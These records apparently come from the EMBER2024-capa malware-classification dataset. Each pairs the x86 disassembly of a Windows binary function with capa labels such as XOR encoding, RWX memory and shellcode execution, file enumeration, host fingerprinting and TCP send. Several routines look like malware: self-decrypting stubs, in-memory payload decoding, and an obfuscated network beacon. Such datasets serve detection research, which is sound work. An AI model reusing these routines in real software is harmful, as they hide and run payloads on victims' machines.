joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4068e6
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x40690a
xor eax, eax
test eax, eax
je 0x40691d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40691d
xor ecx, ecx
jmp 0x406920
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406a43
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43194c], 0
push esi
jne 0x406a7a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406a54
mov dword [ecx*4 + 0x431948], eax
inc ecx
cmp ecx, 0x100
jl 0x406a4f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406aab
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431948]
xor eax, esi
inc ecx
dec edx
jne 0x406a8d
pop edi
not eax
pop esi
ret 0xc

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40296e
Capabilities:
Terminate process

Disassembly:
jmp 0x41e192
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x41e1a3
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.004040ac
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x402a18
Capabilities:
Query environment variable

Disassembly:
jmp 0x44e743
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x44e754
pop esi
ret
push ebx
push edi
push esi
call fcn.0044e62a
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040301c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x44e77c
push ebx
push esi
push edi
call fcn.00403f53
add esp, 0xc
push 0
call fcn.00404697
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x403fcb
Capabilities:
Parse pe header

Disassembly:
jmp 0x41055b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41059a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41059a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41059a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41059a
cmp dword [ecx + 0x74], 0xe
jbe 0x41059a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x44c6e4
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4d8940]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44c72f
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0044cbef
test al, al
jne 0x44c729
sub edx, 2
cmp edx, edi
jne 0x44c70f
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x44c751
lea eax, [edi + 2]
cmp edx, eax
je 0x44c751
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0044c2dd
add esp, 0x10
jmp 0x44c84b
push esi
lea ecx, [ebp - 0x255]
call fcn.0044cbef
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x44c794
push dword [ebp - 0x25c]
jmp 0x44c741
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x44c7d1
cmp word [ebp - 0x226], 0
je 0x44c7f2
cmp word [ebp - 0x226], ax
jne 0x44c7d1
cmp word [ebp - 0x224], 0
je 0x44c7f2
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0044c2dd
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x44c83e
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x44c7ab
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x44c826
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x44c84b
push 0x44bbc3
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00403e36
add esp, 0x10
jmp 0x44c81b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004025cc
leave
ret
Function at 0x460744
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4db130]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x460784
cmp byte [ebx], 0xa
jne 0x460784
or byte [eax + edi + 0x28], 4
jmp 0x460789
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x460887
mov al, byte [edx]
cmp al, 0x1a
je 0x460869
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4607b8
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4607dd
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4607e7
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x46079a
jmp 0x460887
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x460864
cmp dword [ebp - 0xc], 0
je 0x460864
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4db130]
test byte [eax + edi + 0x28], 0x48
je 0x46083e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x460829
mov byte [esi], dl
jmp 0x46083a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4db130]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x460887
cmp byte [ebp - 1], 0xa
jne 0x46084d
cmp esi, ebx
jne 0x46084d
mov byte [esi], 0xa
jmp 0x460886
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401613
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x460887
mov byte [esi], 0xd
jmp 0x460886
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4db130]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x460883
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x460887
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4608e3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4db130]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x460926
cmp word [esi], dx
jne 0x460926
or byte [edi + eax + 0x28], 4
jmp 0x46092b
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x460a7e
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x460a5e
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x46096d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4609a3
cmp eax, edx
jae 0x4609af
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x460945
jmp 0x460a7e
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x460a5a
cmp dword [ebp - 0x14], 0
je 0x460a5a
mov eax, dword [ebx*4 + 0x4db130]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x460a32
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4609fb
mov word [esi], cx
jmp 0x460a2e
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4db130]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4db130]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4db130]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x460a7e
pop ebx
cmp word [ebp - 4], bx
jne 0x460a43
cmp esi, dword [ebp + 0xc]
jne 0x460a43
mov word [esi], bx
jmp 0x460a7b
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401613
add esp, 0x10
cmp word [ebp - 4], bx
je 0x460a7e
push 0xd
jmp 0x460a77
mov ecx, dword [ebx*4 + 0x4db130]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x460a75
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x460a7e
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x20]
push edi
call fcn.00402840
lea eax, [ebp - 0x20]
mov ecx, 0x4439c4
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00401700
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x401515
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40150b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f8
push edx
push ecx
call fcn.0040c5ae
add esp, 8
mov esi, dword [ebp - 0x24]
cmp esi, dword [0x4439c4]
je 0x4016e3
cmp byte [esi + 0x40], 0
je 0x4015b7
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [esi + 0x44]
mul ecx
shr edx, 6
cmp edx, dword [0x44bae4]
jle 0x40166e
push edi
lea ecx, [ebp - 0x20]
call fcn.00402840
lea eax, [ebp - 0x20]
mov ecx, 0x4439c4
push eax
call fcn.00401880
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x40159a
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401590
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f8
push edx
push ecx
call fcn.0040c5ae
add esp, 8
push edi
push 0x43e840
push 0xff
push 0x443a80
call fcn.004075c0
add esp, 0x10
jmp 0x4016e3
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [esi + 0x3c]
mul ecx
shr edx, 6
cmp edx, dword [0x44bae0]
jge 0x401683
mov eax, dword [esi + 0x38]
cmp eax, dword [0x44badc]
jb 0x4016e3
cmp byte [esi + 0x40], 0
jne 0x4016e3
push edi
lea ecx, [ebp - 0x20]
call fcn.00402840
lea eax, [ebp - 0x20]
mov ecx, 0x4439c4
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00401700
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x401642
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x401638
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f8
push edx
push ecx
call fcn.0040c5ae
add esp, 8
mov esi, dword [ebp - 0x24]
cmp esi, dword [0x4439c4]
je 0x40166e
mov byte [esi + 0x40], 1
call ebx
push edi
push str._Anti_Flood__FLOOD_DETECTED___s__IP_LOCK
push 0xff
push 0x443a80
mov dword [esi + 0x44], eax
call fcn.004075c0
add esp, 0x10
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040c303
mov esp, ebp
pop ebp
ret 4
call ebx
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [esi + 0x48]
mul ecx
shr edx, 6
cmp edx, dword [0x44bad8]
jle 0x4016e3
push edi
lea ecx, [ebp - 0x20]
call fcn.00402840
lea eax, [ebp - 0x20]
mov ecx, 0x4439c4
push eax
call fcn.00401880
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x4016e3
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4016d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4016f8
push edx
push ecx
call fcn.0040c5ae
add esp, 8
mov ecx, dword [ebp - 8]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c303
mov esp, ebp
pop ebp
ret 4
call fcn.0041101c
int3
Function at 0x405030
Capabilities:
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
jmp 0x405058
jmp 0x40506a
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
mov ecx, ebx
push 0
push 0
push 0
push 0
push eax
push 0
push 0
push 4
push 0x4439d8
call fcn.00405b20
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x4050a9
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c303
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.RPCRT4.dll_UuidCreateSequential]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x40]
movzx eax, word [ebp - 6]
movzx ecx, word [ebp - 0x1e]
mov esi, dword [ebp - 0xa]
mov edi, dword [ebp - 0x1c]
xor esi, 0x5d78a569
shl edx, 0x10
xor edi, 0x12b586fe
or edx, eax
shl ecx, 0x10
movzx eax, word [ebp - 0x20]
xor edx, 0xf45bc123
or ecx, eax
xor ecx, 0xb542d8e1
push ecx
push edx
push esi
push edi
push 0x14
push 0x4439dc
mov ecx, ebx
call fcn.00405b20
push eax
lea eax, [ebx + 8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x405127
jmp 0x40513e
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040c303
mov esp, ebp
pop ebp
ret

Function at 0x405160
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
jmp 0x405188
jmp 0x40519a
mov ebx, dword [ebp - 0x18]
cmp dword [ebx + 4], 0xffffffff
jne 0x405268
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
je 0x405268
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 8]
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x405209
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405209
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.0040dc50
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebx + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40522a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405268
jmp 0x40523c
jmp 0x405253
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c303
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c303
mov esp, ebp
pop ebp
ret 8
Function at 0x405280
Capabilities:
Encrypt data using rc4 prga
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x443068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x54], ecx
jmp 0x4052a8
jmp 0x4052ba
call fcn.004165f5
and eax, 0x800000ff
jns 0x4052cd
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0x54]
mov cl, byte [ebp + 8]
mov byte [ebp - 0x4c], cl
mov word [ebp - 0x50], 0x49c1
mov byte [edx + 0x2c], al
movups xmm0, xmmword [0x44bbd4]
mov ecx, dword [0x44bbd0]
mov dword [ebp - 0xb], ecx
mov ecx, 4
movups xmmword [ebp - 0x4b], xmm0
mov byte [ebp - 0x4e], 0
movups xmm0, xmmword [0x44bbe4]
mov byte [ebp - 0x4d], al
movups xmmword [ebp - 0x3b], xmm0
movups xmm0, xmmword [0x44bbb0]
movups xmmword [ebp - 0x2b], xmm0
movups xmm0, xmmword [0x44bbc0]
movups xmmword [ebp - 0x1b], xmm0
add al, 0x1a
xor al, byte [ebp + ecx - 0x50]
sub al, 0x69
mov byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 0x49
jae 0x405337
mov al, byte [ebp - 0x4d]
jmp 0x405320
movzx eax, byte [ebp - 0x4f]
push 0
push eax
lea eax, [ebp - 0x50]
push eax
push dword [edx + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405372
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x405372
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c303
mov esp, ebp
pop ebp
ret 4
jmp 0x405384
jmp 0x40539b
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040c303
mov esp, ebp
pop ebp
ret 4
Function at 0x405710
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
jmp 0x40572e
jmp 0x405740
jmp 0x405752
push 0x10000000
pop dword [0x4cac38]
jmp 0x40576b
cmp dword [0x4cac38], 0x10000000
je 0x40579d
xorps xmm0, xmm0
movups xmmword [0x43edb4], xmm0
movups xmmword [0x43eda4], xmm0
movups xmmword [0x43ed94], xmm0
movups xmmword [0x43ed84], xmm0
movups xmmword [0x43ed74], xmm0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push 0
movq qword [ebp - 0x24], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0xc
lea ecx, [ebp - 0x24]
push ecx
push esi
push eax
call dword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 4]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x14]
add edi, ecx
push eax
push edi
push ecx
mov ecx, esi
mov dword [ebp - 0x18], edi
call fcn.004059a0
test al, al
je 0x4058b4
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov ecx, esi
push eax
push edi
push dword [ebp - 4]
call fcn.00405a60
test al, al
je 0x4058b4
mov edi, dword [ebp - 4]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 0x10
push edi
call ebx
mov esi, 0x43eda4
mov eax, edi
sub esi, edi
mov edx, 0x10
mov cl, byte [eax + esi]
lea eax, [eax + 1]
xor cl, 0x9f
mov byte [eax - 1], cl
sub edx, 1
jne 0x405826
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push 0x10
push edi
call ebx
mov edi, dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
push 0x40
push 0x10
push edi
call ebx
mov esi, 0x43ed94
mov ecx, edi
sub esi, edi
mov edx, 0x10
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x9f
mov byte [ecx - 1], al
sub edx, 1
jne 0x405860
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
push 0x10
push edi
call ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov esi, dword [ebp - 0x14]
sub eax, ecx
sub eax, 0x10
push eax
lea eax, [ecx + 0x10]
mov ecx, esi
push eax
call fcn.004058f0
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
mov edi, dword [ebp - 0x18]
add eax, 0x10
push ecx
push edi
push eax
mov ecx, esi
call fcn.004059a0
test al, al
jne 0x4057f3
jmp 0x4058c6
jmp 0x4058dd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4058f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
jmp 0x40590e
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push eax
push 0x40
push esi
push edi
call ebx
xor ecx, ecx
test esi, esi
jle 0x40596d
mov ebx, dword [ebp - 8]
nop dword [eax]
mov eax, 0x38e38e39
mul ecx
mov eax, ecx
shr edx, 3
lea edx, [edx + edx*8]
shl edx, 2
sub eax, edx
mov dl, byte [eax + ebx + 0x55]
xor dl, byte [eax + ebx + 8]
mov eax, ecx
and eax, 0xf
xor dl, 0xaf
mov al, byte [eax + 0x43edb4]
xor al, byte [ecx + edi]
sub al, dl
mov byte [ecx + edi], al
inc ecx
cmp ecx, esi
jl 0x405930
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push edi
call ebx
jmp 0x40598a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x405b20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
jmp 0x405b38
push pe_nt_image_headers32
push 0
push 0x4cac40
call fcn.0040e750
mov esi, dword [ebp + 0xc]
add esp, 0xc
xor eax, eax
test esi, esi
jle 0x405c05
mov edx, dword [ebp + 8]
cmp esi, 0x40
jb 0x405be6
lea ecx, [esi - 1]
add ecx, edx
lea edi, [esi + 0x4cac3f]
cmp ecx, 0x4cac40
jb 0x405b7c
cmp edi, edx
jae 0x405be6
mov ecx, esi
and ecx, 0x8000003f
jns 0x405b8b
dec ecx
or ecx, 0xffffffc0
inc ecx
movaps xmm1, xmmword [0x43f5c0]
mov edi, esi
sub edi, ecx
nop word [eax + eax]
movups xmm0, xmmword [edx + eax]
pxor xmm0, xmm1
movups xmmword [eax + 0x4cac40], xmm0
movups xmm0, xmmword [edx + eax + 0x10]
pxor xmm0, xmm1
movups xmmword [eax + 0x4cac50], xmm0
movups xmm0, xmmword [edx + eax + 0x20]
pxor xmm0, xmm1
movups xmmword [eax + 0x4cac60], xmm0
movups xmm0, xmmword [edx + eax + 0x30]
pxor xmm0, xmm1
movups xmmword [eax + 0x4cac70], xmm0
add eax, 0x40
cmp eax, edi
jl 0x405ba0
cmp eax, esi
jge 0x405c05
sub edx, 0x4cac40
mov cl, byte [edx + eax + 0x4cac40]
xor cl, 0xb0
mov byte [eax + 0x4cac40], cl
inc eax
cmp eax, esi
jl 0x405bf0
jmp 0x405c17
mov eax, 0x4cac40
pop edi
pop esi
pop ebx
pop ebp
ret 8